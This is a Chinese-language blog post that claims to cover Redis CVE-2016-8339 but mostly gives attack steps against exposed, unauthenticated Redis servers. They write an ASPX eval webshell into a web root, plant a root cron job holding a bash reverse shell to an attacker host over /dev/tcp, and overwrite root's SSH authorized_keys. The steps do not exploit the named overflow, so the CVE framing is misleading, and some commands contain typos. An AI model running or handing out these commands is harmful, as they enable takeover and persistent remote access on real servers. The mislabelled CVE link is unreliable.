首页 > 数据库 >redis远程代码执行CVE-2016-8339

redis远程代码执行CVE-2016-8339

时间:2023-08-03 11:23:23浏览次数:56  
标签:set redis 代码执行 conf 8339 config dir

     Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis 数据结构存储 的 CONFIG SET 命令中 client-output-buffer-limit 选项处理存在越界写漏洞。构造的 CONFIG SET 命令可导致越界写,代码执行。

漏洞利用:

修改配置文件 redis.conf

cp redis.conf ./src/redis.conf

bind 127.0.0.1 前面加上#号注释掉

protected-mode 设为 no

启动redis-server

./src/redis-server redis.conf

获取webshell

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以 尝试往 web 路径写 webshell,前提是知道物理路径,精简命令如下:

config set dir E:/www/font

config set dbfilename redis2.aspx

set a "<%@ page language=\"Jscript\"%><%eval(request.item[\"c\"],\"unsafe\");%>"

save

反弹shell

1.连接redis

redis-clie -h xxx -p 6379

2.在kali上执行命令

nc -lvnp 9001

3.靶机执行一下命令

set x "\n\n* * * * * bash -i >& /dev/tcp/kali ip/9001 0>&1\n\n"

config set dir /var/spool/cron/ (ubuntu的文件是/var/spool/cron/crontabs)

config set dir /var/spool/cron/crontabs/

config set dbfilename root

save

免密码ssh

ssh-keygen -t rsa 

congfig set dir /root/.ssh

config set dbfilename authorized_keys

save

无密码登录成功

 

标签:set,redis,代码执行,conf,8339,config,dir
From: https://www.cnblogs.com/lisenMiller/p/17602788.html

相关文章

  • Redis基础
    Redis是一个基于内存的key-value结构数据库。Redis是互联网技术领域使用最为广泛的存储中间件,它是【RemoteDictionaryService】的首字母缩写,也就是【远程字典服务】。基于内存存储,读写性能高适合存储热点数据(热点商品、资讯、新闻)企业应用广泛Redis入门Redis简介......
  • Redis宕机 快速恢复数据
    学习记录下 Redis中如何实现无畏宕机快速恢复和持久化-Redis-PHP中文网......
  • Redis-Predis 扩展介绍
    PredisPredis适用于PHP5.3以上版本在Redis使用,其中包括了集群的使用。主要功能支持各个版本的Redis(从2.0到3.0以及unstable)使用哈希方式或用户自定义方式进行集群中节点的客户端分片支持Redis-cluster(集群)(Redis>=3.0).支持主/从结构的读写分离支持已知的所有R......
  • redis提权——如果对方root运行,则容易中招,都是由于安全配置出问题导致
    介绍:Redis是一个开源的使用ANSIC语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String),哈希(Hash),列表(list),集合(sets)和有序集合(sortedsets)等类型。提......
  • 运维——CentOS7 安装redis
    转自:https://www.cnblogs.com/Mr-xy/p/17055453.html 1.检查是否有redisyum源yuminstallredis2.下载fedora的epel仓库yuminstallepel-release3.安装redisyuminstallredis4.启动redis服务systemctlstartredis如果systemctl命令启动失败,则执行以下命令修改目......
  • nginx1.20-tomcat9-redisson集群,好像不怎么完善
    配置信息在同一台服务器上使用nginx做反向代理与两个tomcat组成简易tomcat集群使用nginx端口80tomcat1端口21005,21080,21009tomcat2端口22005,22080,22009配置过程1.先下载apache-tomcat-9.0.78,解压到两个目录,分别为tomcat1和tomcat2根据上方配置信息分别对两个目录中的......
  • Redis中Key中为什么要使用{}
    Redis集群介绍Redis集群是一个提供在多个Redis间节点间共享数据的程序集。Redis集群并不支持处理多个keys的命令,因为这需要在不同的节点间移动数据,从而达不到像Redis那样的性能,在高负载的情况下可能会导致不可预料的错误.Redis集群通过分区来提供一定程度的可用性,在实际......
  • Redis 常用命令
    连接redis-cli-h{server_ip}-p{port}-a{password}常用错误使用Jedis连接redis出现CannotgetJedisconnection;Couldnotgetaresourcefromthepool错误具体报错信息如下:org.springframework.beans.factory.BeanCreationException:Errorcreatingbeanwithname'ena......
  • Redis配置主从复制
    1概念主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master/leader),后者称为从节点(slave/follower);数据的复制是单向的,只能由主节点到从节点。Master以写为主,Slave以读为主;默认情况下,每台Redis服务器都是主节点;一个主节点可以有多个从节点(或没......
  • Redis的单线程设计之谜:高性能与简洁并存
    Redis作为一款高性能的内存数据库,以其出色的读写性能和多种数据结构支持而闻名。然而,与其他传统数据库不同,Redis采用了独特的单线程设计。在本文中,我们将揭开Redis单线程设计的奥秘,解释其为何能在单线程下实现高性能,并探讨适用场景与优势。1.Redis单线程模型Redis的单线程模型意味......